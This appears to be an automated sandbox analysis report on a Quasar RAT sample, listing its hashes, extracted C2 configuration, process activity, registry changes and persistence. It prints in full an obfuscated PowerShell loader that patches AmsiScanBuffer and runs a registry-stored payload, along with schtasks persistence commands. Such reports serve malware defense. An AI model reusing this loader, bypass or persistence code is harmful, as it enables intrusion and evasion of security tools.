quasar | 89996d761395b9e79589c4c7c93cc21ae2b5a00a9ba8c46abbf395954f3d0133

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T17:18:57Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win10v2004-20240412-en/instance_30-dirty.qcow2\"}"

General

Target

Update.exe
Size

409KB
MD5

93cd801b9e5e90edab480d3c1c135271
SHA1

b0c7e918ade7a47916603ebd9eb1e3b4d78062c2
SHA256

89996d761395b9e79589c4c7c93cc21ae2b5a00a9ba8c46abbf395954f3d0133
SHA512

a5e207744fcb100fb24935ecda4c4214ac4cc7aca666b589fa1c451f1ad24c5a573cfe1b8150ac5510a866bb800251aa6ebf3fd685ed7a2e5fbc482791e143ed
SSDEEP

6144:0rBUymyfpwzeiqv6Ef3RB17bdzjyue7zKINbuz2vcDJ8vtVQY:eBwz9/Ef3RB17FyuYKIQXDJ8vtCY

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

147.185.221.19:33587

Mutex

$Sxr-zpFqsQjJJh3miBvVnu

Attributes

encryption_key
w1TSUMSbvOFQ9whpYTwH
install_name
BiosUpdX64YDPS.exe
log_directory
$sxr
reconnect_delay
3000
startup_key
$sxr-mtsha
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3052-0-0x0000000000B60000-0x0000000000BCC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2420 created 616 2420 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

BiosUpdX64YDPS.exeInstall.exe

pid process

4552 BiosUpdX64YDPS.exe
3728 Install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

26 raw.githubusercontent.com
27 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com

description	pid	process	target process
PID 2420 created 616	2420	powershell.EXE	winlogon.exe

pid	process
4552	BiosUpdX64YDPS.exe
3728	Install.exe

flow	ioc
26	raw.githubusercontent.com
27	raw.githubusercontent.com

flow	ioc
12	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 2420 set thread context of 1536 2420 powershell.EXE dllhost.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeSCHTASKS.exe

pid process

3232 schtasks.exe
3732 schtasks.exe
4072 SCHTASKS.exe

description	pid	process	target process
PID 2420 set thread context of 1536	2420	powershell.EXE	dllhost.exe

pid	process
3232	schtasks.exe
3732	schtasks.exe
4072	SCHTASKS.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.EXEdllhost.exewlrmdr.exe

pid	process
2420	powershell.EXE
2420	powershell.EXE
2420	powershell.EXE
1536	dllhost.exe
1536	dllhost.exe
1536	dllhost.exe
1536	dllhost.exe
4428	wlrmdr.exe
4428	wlrmdr.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

Update.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exe

description	pid	process
Token: SeDebugPrivilege	3052	Update.exe
Token: SeDebugPrivilege	4552	BiosUpdX64YDPS.exe
Token: SeDebugPrivilege	2420	powershell.EXE
Token: SeDebugPrivilege	2420	powershell.EXE
Token: SeDebugPrivilege	1536	dllhost.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

BiosUpdX64YDPS.exewlrmdr.exe

pid process

4552 BiosUpdX64YDPS.exe
4428 wlrmdr.exe

pid	process
4552	BiosUpdX64YDPS.exe
4428	wlrmdr.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

Update.exeBiosUpdX64YDPS.exepowershell.EXEdllhost.exelsass.exewinlogon.exe

description	pid	process	target process
PID 3052 wrote to memory of 3232	3052	Update.exe	schtasks.exe
PID 3052 wrote to memory of 3232	3052	Update.exe	schtasks.exe
PID 3052 wrote to memory of 3232	3052	Update.exe	schtasks.exe
PID 3052 wrote to memory of 4552	3052	Update.exe	BiosUpdX64YDPS.exe
PID 3052 wrote to memory of 4552	3052	Update.exe	BiosUpdX64YDPS.exe
PID 3052 wrote to memory of 4552	3052	Update.exe	BiosUpdX64YDPS.exe
PID 4552 wrote to memory of 3732	4552	BiosUpdX64YDPS.exe	schtasks.exe
PID 4552 wrote to memory of 3732	4552	BiosUpdX64YDPS.exe	schtasks.exe
PID 4552 wrote to memory of 3732	4552	BiosUpdX64YDPS.exe	schtasks.exe
PID 3052 wrote to memory of 3728	3052	Update.exe	Install.exe
PID 3052 wrote to memory of 3728	3052	Update.exe	Install.exe
PID 3052 wrote to memory of 3728	3052	Update.exe	Install.exe
PID 3052 wrote to memory of 4072	3052	Update.exe	SCHTASKS.exe
PID 3052 wrote to memory of 4072	3052	Update.exe	SCHTASKS.exe
PID 3052 wrote to memory of 4072	3052	Update.exe	SCHTASKS.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 2420 wrote to memory of 1536	2420	powershell.EXE	dllhost.exe
PID 1536 wrote to memory of 616	1536	dllhost.exe	winlogon.exe
PID 1536 wrote to memory of 672	1536	dllhost.exe	lsass.exe
PID 1536 wrote to memory of 956	1536	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2820	672	lsass.exe	sysmon.exe
PID 1536 wrote to memory of 316	1536	dllhost.exe	dwm.exe
PID 672 wrote to memory of 2820	672	lsass.exe	sysmon.exe
PID 1536 wrote to memory of 740	1536	dllhost.exe	svchost.exe
PID 672 wrote to memory of 2820	672	lsass.exe	sysmon.exe
PID 1536 wrote to memory of 1032	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1112	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1136	1536	dllhost.exe	svchost.exe
PID 616 wrote to memory of 4428	616	winlogon.exe	wlrmdr.exe
PID 616 wrote to memory of 4428	616	winlogon.exe	wlrmdr.exe
PID 1536 wrote to memory of 4428	1536	dllhost.exe	wlrmdr.exe
PID 1536 wrote to memory of 1148	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1164	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1276	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1300	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1308	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1436	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1472	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1520	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1540	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1636	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1720	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1756	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1764	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1856	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 2000	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 2004	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 2016	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1008	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 1812	1536	dllhost.exe	svchost.exe
PID 1536 wrote to memory of 2124	1536	dllhost.exe	spoolsv.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:316

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a70efe72-3611-4f9b-b4d2-313e78c703b8}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\system32\wlrmdr.exe
-s -1 -f 2 -t Your PC will automatically restart in one minute -m Windows ran into a problem and needs to restart. You should close this message now and save your work. -a 3
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:4428

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1112

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1148

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:wDtFuzSvdOeo{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$xSMTqDPkvEAjwa,[Parameter(Position=1)][Type]$VlhphQeeKs)$IyIKxMAuMbe=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+[Char](108)+'e'+'c'+''+[Char](116)+'e'+[Char](100)+''+[Char](68)+''+'e'+''+[Char](108)+'e'+[Char](103)+'a'+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+[Char](110)+''+[Char](77)+''+'e'+''+[Char](109)+''+[Char](111)+''+'r'+''+[Char](121)+''+'M'+''+[Char](111)+'dul'+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+'e'+''+'l'+''+'e'+''+[Char](103)+''+'a'+''+'t'+''+[Char](101)+''+[Char](84)+'y'+[Char](112)+''+'e'+'',''+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+''+'u'+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+','+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+'e'+'d'+''+[Char](44)+'A'+[Char](110)+''+[Char](115)+''+[Char](105)+''+[Char](67)+''+'l'+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+[Char](65)+''+'u'+''+'t'+'o'+'C'+''+'l'+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$IyIKxMAuMbe.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+[Char](101)+''+[Char](99)+''+'i'+''+'a'+''+[Char](108)+'N'+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+'i'+'d'+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$xSMTqDPkvEAjwa).SetImplementationFlags('R'+[Char](117)+''+'n'+''+'t'+'im'+[Char](101)+',M'+'a'+''+[Char](110)+''+'a'+'g'+[Char](101)+''+[Char](100)+'');$IyIKxMAuMbe.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+[Char](111)+''+'k'+'e','Pu'+'b'+'l'+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+'i'+'d'+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+''+[Char](105)+'g'+[Char](44)+''+[Char](78)+''+'e'+''+[Char](119)+'S'+[Char](108)+''+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+'l'+'',$VlhphQeeKs,$xSMTqDPkvEAjwa).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+'e,M'+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+'ed');Write-Output $IyIKxMAuMbe.CreateType();}$MPFiXlgiHbKGI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+'m'+'.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+'c'+''+[Char](114)+'o'+'s'+''+[Char](111)+''+[Char](102)+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+[Char](97)+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+''+'v'+'eM'+[Char](101)+'t'+'h'+''+[Char](111)+'d'+'s'+'');$llbfNYtFLoVAjc=$MPFiXlgiHbKGI.GetMethod(''+'G'+''+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+'o'+'c'+''+[Char](65)+''+[Char](100)+''+'d'+''+'r'+'e'+[Char](115)+''+'s'+'',[Reflection.BindingFlags]('Pu'+[Char](98)+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+'S'+[Char](116)+''+[Char](97)+''+'t'+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$sIHzjhNyEwCcdlVZsQg=wDtFuzSvdOeo @([String])([IntPtr]);$uaCqDukvYaROtEBwhZnXwk=wDtFuzSvdOeo @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$xujXBqkBZdg=$MPFiXlgiHbKGI.GetMethod('G'+[Char](101)+'t'+[Char](77)+''+'o'+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+'e'+'r'+[Char](110)+''+[Char](101)+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+'l'+[Char](108)+'')));$tcjrubqfzDJbNK=$llbfNYtFLoVAjc.Invoke($Null,@([Object]$xujXBqkBZdg,[Object](''+[Char](76)+'o'+[Char](97)+'dL'+[Char](105)+''+'b'+''+'r'+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$ZYJmEUVNJIUAiSOYQ=$llbfNYtFLoVAjc.Invoke($Null,@([Object]$xujXBqkBZdg,[Object](''+'V'+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+'a'+'l'+''+[Char](80)+''+[Char](114)+'ote'+'c'+''+'t'+'')));$JXEdXpl=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tcjrubqfzDJbNK,$sIHzjhNyEwCcdlVZsQg).Invoke(''+'a'+''+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+'l'+[Char](108)+'');$AavGhIluXUMFRxQWJ=$llbfNYtFLoVAjc.Invoke($Null,@([Object]$JXEdXpl,[Object]('Am'+'s'+'i'+'S'+''+'c'+''+[Char](97)+'nBuf'+'f'+''+'e'+''+[Char](114)+'')));$fppkfvgiIf=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZYJmEUVNJIUAiSOYQ,$uaCqDukvYaROtEBwhZnXwk).Invoke($AavGhIluXUMFRxQWJ,[uint32]8,4,[ref]$fppkfvgiIf);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AavGhIluXUMFRxQWJ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZYJmEUVNJIUAiSOYQ,$uaCqDukvYaROtEBwhZnXwk).Invoke($AavGhIluXUMFRxQWJ,[uint32]8,0x20,[ref]$fppkfvgiIf);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+'TWA'+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+'7'+[Char](115)+'ta'+'g'+''+[Char](101)+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2420

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1276

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1300

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1436

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1520

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1756

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1856

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2000

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2016

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1008

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1812

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2124

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2820

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3052

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Update.exe" /rl HIGHEST /f
2⤵
- Creates scheduled task(s)
PID:3232

C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4552

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-mtsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:3732

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- Executes dropped EXE
PID:3728

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Update.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Update.exe'" /sc onlogon /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:4072

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64YDPS.exe
Filesize
409KB

MD5
93cd801b9e5e90edab480d3c1c135271

SHA1
b0c7e918ade7a47916603ebd9eb1e3b4d78062c2

SHA256
89996d761395b9e79589c4c7c93cc21ae2b5a00a9ba8c46abbf395954f3d0133

SHA512
a5e207744fcb100fb24935ecda4c4214ac4cc7aca666b589fa1c451f1ad24c5a573cfe1b8150ac5510a866bb800251aa6ebf3fd685ed7a2e5fbc482791e143ed

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_hznkg02d.bmj.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/316-108-0x0000023F7EBA0000-0x0000023F7EBCB000-memory.dmp

Filesize
172KB

Download
memory/316-89-0x0000023F7EBA0000-0x0000023F7EBCB000-memory.dmp

Filesize
172KB

Download
memory/616-68-0x00007FF8D578D000-0x00007FF8D578E000-memory.dmp

Filesize
4KB

Download
memory/616-65-0x00007FF895770000-0x00007FF895780000-memory.dmp

Filesize
64KB

Download
memory/616-64-0x000002C5EC650000-0x000002C5EC67B000-memory.dmp

Filesize
172KB

Download
memory/616-56-0x000002C5EC650000-0x000002C5EC67B000-memory.dmp

Filesize
172KB

Download
memory/616-55-0x000002C5EC650000-0x000002C5EC67B000-memory.dmp

Filesize
172KB

Download
memory/616-54-0x000002C5EC620000-0x000002C5EC645000-memory.dmp

Filesize
148KB

Download
memory/672-79-0x00000154616A0000-0x00000154616CB000-memory.dmp

Filesize
172KB

Download
memory/672-82-0x00007FF8D578F000-0x00007FF8D5790000-memory.dmp

Filesize
4KB

Download
memory/672-70-0x00000154616A0000-0x00000154616CB000-memory.dmp

Filesize
172KB

Download
memory/672-81-0x00007FF895770000-0x00007FF895780000-memory.dmp

Filesize
64KB

Download
memory/740-128-0x00007FF895770000-0x00007FF895780000-memory.dmp

Filesize
